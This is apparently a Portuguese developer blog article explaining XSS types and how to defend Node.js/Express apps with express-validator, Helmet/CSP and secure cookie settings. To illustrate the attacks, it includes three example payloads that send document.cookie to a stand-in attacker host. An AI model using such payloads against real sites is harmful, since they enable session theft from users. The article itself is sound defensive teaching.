Prevenção de Cross-site Scripting em Node.js
Imagino que a grande maioria das pessoas desenvolvedoras, como eu, entendem a importância da segurança das aplicações, mas, infelizmente, pouco se fala sobre o assunto. Nós temos um papel fundamental na sua defesa cibernética, visto que é possível mitigar vulnerabilidades que são responsáveis por grande parte dos ataques a aplicações web.
De acordo com a Parachute, o cyber crime custa à economia global certa de 1 trilhão de dólares. O custo médio de uma violação de dados em 2021 foi de US$ 4,24 milhões. E é importante destacar que empresas com estratégias eficientes de prevenção de ataques cibernéticos podem economizar até US$ 1,4 milhão para cada ataque evitado.
Então, é por isso que, neste artigo, gostaria de apresentar a vocês o que é a vulnerabilidade Cross-site Scripting, também conhecida como XSS, como ela funciona, qual é o seu impacto e, finalmente, como nós podemos evitar esse tipo de injeção de código em aplicações desenvolvidas em Node.js.
O que é XSS?
O XSS é uma vulnerabilidade que permite ataque a uma aplicação web realizado através de injeção de código malicioso. Está na lista OWASP TOP 10 como um dos mais críticos riscos de segurança em aplicações web. O ataque permite que um invasor comprometa interações de usuários reais que consideram o site confiável.
Também aparece em segundo lugar na lista 2021 CWE Top 25 Most Dangerous Software Weaknesses que é uma lista das mais comuns e impactantes vulnerabilidades de software ocorridas nos dois últimos anos.
Outro relatório importante é o Edgescan 2021 Vulnerability Statistics Report, que apresenta o XSS como sendo responsável por 18,20% das ocorrências de risco crítico descobertas em 2020, perdendo apenas para o SQL Injection. Também aparece em primeiro lugar com 37,20% das ocorrências de risco alto e novamente no topo das ocorrências de risco médio com 37,20%.
Podemos perceber, então, que impedir a exploração dessa vulnerabilidade é algo que merece nossa atenção, já que há grande risco de comprometer dados ou serviços de nossas aplicações.
Como o XSS funciona?
Quando o código malicioso é executado, o atacante rouba dados importantes do usuário como cookies, tokens etc. e rouba dados de acesso registrados no navegador web do usuário. O script entre sites manipula o site para que ele retorne Javascript malicioso para o usuário.
Isso pode ser explorado de algumas formas:
-
XSS Refletido: esse é o tipo mais comum e é quando o script malicioso vem da própria solicitação HTTP, ou seja, o usuário é enganado para executar o código que pode vir de um link falso de esquema de phishing, por exemplo. Os métodos de engenharia social são infinitos. Ao acionar o servidor por meio deste link, o script será refletido e executado no navegador.
Exemplo:
http://sitereal.com/search?q=<script>window.location='http://sitedoatacante.com/?cookie='+document.cookie</script>
Quando a vítima acessa esse link, ela é redirecionada para a falsa aplicação que envia seus cookies para o atacante sem nem ao menos perceber que isso aconteceu.
-
XSS Persistente: também conhecido como XSS Armazenado, o script malicioso já está alojado de forma permanente no servidor, então, o usuário pode acionar o payload apenas navegando pelo site contaminado. Por exemplo, o payload malicioso pode estar armazenado no campo de comentário de um site, que será acionado quando for clicado.
Exemplo:
<script> window.location='http://sitedoatacante.com/?cookie=' + document.cookie </script>
Sempre que os usuários acessarem a página, esse código vai ser executado e vai enviar os cookies para o atacante.
-
XSS Baseado em DOM: a vulnerabilidade explora o Document Object Model (DOM) que é a interface que define a leitura de HTML e XML. Essa vulnerabilidade existe do lado do cliente portanto não há necessidade de interação com o servidor para performar o ataque. É semelhante ao XSS Refletido já que depende que o usuário clique num link malicioso.
Exemplo:
http://sitereal.com/dashboard.html?default=<script>window.location='http://sitedoatacante.com/?cookie='+document.cookie</script>
Não importa a forma, o atacante tem acesso à identidade digital do usuário e pode ver e fazer tudo aquilo que o usuário legítimo poderia em sua sessão. O servidor acredita que as solicitações realizadas são válidas.
Como prevenir XSS em aplicações Node.js?
Para mitigar este tipo de ataque é importante reduzir ao máximo a quantidade de inputs não confiáveis de usuário e garantir políticas robustas contra scripts executados no site.
Vamos a algumas ações que podemos ter no desenvolvimento da aplicação:
Validação e Sanitização:
Podemos começar com a validação e sanitização dos dados, ou seja, todas as requisições devem checar se os dados enviados pelo usuário estão no formato correto e filtrá-los para que sejam enviados como dado e não como código.
Existem algumas bibliotecas que realizam validação e sanitização e se sua aplicação Node.js utiliza o Express, é possível utilizar a Express-Validator. Ela reúne um conjunto de middlewares que validam os dados antes de serem efetivamente persistidos no banco de dados.
Exemplo:
const express = require('express');
const { body, validationResult } = require('express-validator');
app.post(
'/user',
// username precisa ser um e-mail
body('username').isEmail(),
// password precisa ter pelo menos 5 caracteres
body('password').isLength({ min: 5 }),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
User.create({
username: req.body.username,
password: req.body.password,
}).then(user => res.json(user));
}
);
O Express-Validator também possibilita a sanitização dos dados da request, removendo caracteres que poderiam deixar o input vulnerável:
const express = require('express');
const { body, validationResult } = require('express-validator');
const app = express();
app.use(express.json());
app.post(
'/comment',
body('email').isEmail().normalizeEmail(),
body('text').not().isEmpty().trim().escape(),
body('notifyOnReply').toBoolean(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
Comment.create({
email: req.body.email,
text: req.body.text,
notifyOnReply: req.body.notifyOnReply,
}).then(comment => res.json(comment));
}
);
Você pode saber mais sobre os métodos de sanitização do Express-Validator aqui.
Utilizando essas ferramentas, garantimos que o input enviado na requisição seja de fato aquele que o servidor está preparado para receber.
Configuração segura de cabeçalhos HTTP:
Outro middleware do Express é o Helmet que tem como objetivo inserir mais uma camada de segurança na aplicação com a configuração adequada de cabeçalhos.
Utilização:
const express = require('express');
const helmet = require('helmet');
const app = express();
app.use(helmet());
// ...
Algumas funções de middlewares do Helmet são importantes para combater a vulnerabilidade XSS como helmet.contentSecurityPolicy(options)
que configura o cabeçalho Content-Security-Policy (CSP). Ele fornece uma lista de recursos confiáveis no qual o navegador pode confiar e, com isso, é possível impedir a execução de um código malicioso.
Além dessa função, temos a helmet.xssFilter()
que configura o X-XSS-Protection para ativar o filtro de Cross-site Scripting nos navegadores da web mais recentes.
Opções de segurança de cookies:
Como o roubo de cookies é um dos mais comuns ataques XSS, uma boa maneira de mitigar esse risco é evitando que os cookies sejam acessados pelo browser com código JavaScript e somente através de requisição HTTP(S). Isso pode ser feito com as flags httpOnly
e secure
configuradas como true
:
app.use(express.session({
secret: 'MY_SECRET',
cookie: {
httpOnly: true,
secure: true
}
})
);
É importante também não utilizar o cookie de sessão padrão e assegurar que o cookie tenha um tempo de expiração. O middleware cookie-session nos ajuda a configurar as opções de cookies:
var session = require('cookie-session');
var express = require('express');
var app = express();
var expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hora
app.use(session({
name: 'session',
keys: ['key1', 'key2'],
cookie: {
secure: true,
httpOnly: true,
domain: 'example.com',
path: 'foo/bar',
expires: expiryDate
}
}));
Conclusão:
Para que uma aplicação web seja segura, a pessoa desenvolvedora desempenha um papel importantíssimo para mitigar riscos como a vulnerabilidade XSS.
Com algumas configurações simples de serem implementadas e a utilização de bibliotecas focadas em segurança podemos diminuir substancialmente ataques bem-sucedidos e todo o impacto negativo que eles causam.
Se quiser acessar o repositório que criei com o código apresentado, clique aqui ;)